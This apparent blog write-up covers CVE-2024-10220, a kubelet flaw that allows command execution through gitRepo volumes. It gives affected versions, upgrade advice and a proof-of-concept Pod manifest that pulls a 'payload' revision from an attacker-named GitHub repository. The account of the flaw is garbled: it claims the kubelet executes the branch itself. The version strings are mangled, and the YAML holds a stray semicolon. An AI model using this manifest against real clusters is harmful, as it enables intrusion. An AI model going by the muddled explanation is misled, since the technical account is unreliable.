The Kubernetes kubelet component has been found to be vulnerable to arbitrary command execution through specially crafted gitRepo volumes, exposing the risk of unauthorized access and control over the affected clusters. This vulnerability is present in kubelet versions up to 1.28.11, 1.29. through 1.29.6, and 1.30. through 1.30.2. In this detailed analysis, we will dive into the specifics of CVE-2024-10220, look at some code snippets to explain how the vulnerability works, and explore ways to mitigate and exploit the issue.

Vulnerability Details

The core of this vulnerability lies in kubelet's handling of gitRepo volumes. By exploiting this vulnerability, an attacker can craft a malicious gitRepo volume that can be used to gain unauthorized access and execute arbitrary commands on the target system.

A simple example of a maliciously crafted gitRepo volume could look like this

apiVersion: v1
kind: Pod
metadata:
  name: poc-cve-2024-10220
spec:
  containers:
  - name: poc-container
    image: ubuntu
    command: ["sh", "-c", "echo CVE-2024-10220 exploit"]
  volumes:
  - name: git-volume
    gitRepo:
      repository: "https://github.com/attacker/malicious-gitrepo.git";
      revision: "payload"

In this example, the attacker has created a malicious repository on GitHub called "malicious-gitrepo.git" with a branch named "payload". When the kubelet processes this volume, it will automatically execute the payload branch, allowing the attacker to execute arbitrary commands on the Kubernetes cluster.

For more information about CVE-2024-10220, please refer to the following resources

1. Kubernetes Security Advisory: This link delves into the details of the vulnerability and provides potential mitigations for users who might be affected by the issue.

2. NIST National Vulnerability Database (NVD) Entry: This page serves as an official record of the CVE, highlighting its severity and providing additional references and resources for affected parties.

Exploiting CVE-2024-10220

Although exploiting this vulnerability requires access to the Kubernetes environment, it is still essential to understand how easily a knowledgeable attacker could target vulnerable kubelet instances to run arbitrary commands.

Leveraging tools like Kube-Hunter, an attacker could scan the cluster for vulnerabilities, and once CVE-2024-10220 is detected, use the previous code snippet with some modifications to inject their malicious code and compromise the cluster.

Mitigation

To protect a Kubernetes cluster from this vulnerability, it is crucial to update to the latest available version of kubelet. Users should consider upgrading their cluster to version 1.28.12, 1.29.7, or 1.30.3 to fully mitigate the risks associated with CVE-2024-10220.

Additionally, it is crucial to employ good security practices such as restricting access to the Kubernetes cluster, segmenting cluster workloads, monitoring for abnormal behavior, and employing the principle of least privilege.

Conclusion

CVE-2024-10220 is a serious vulnerability that can negatively impact the security of a Kubernetes cluster. By keeping software up-to-date, adhering to best security practices, and ensuring access is limited to legitimate users, Kubernetes administrators can protect their infrastructure against this and similar threats.

Timeline

Published on: 11/22/2024 17:15:06 UTC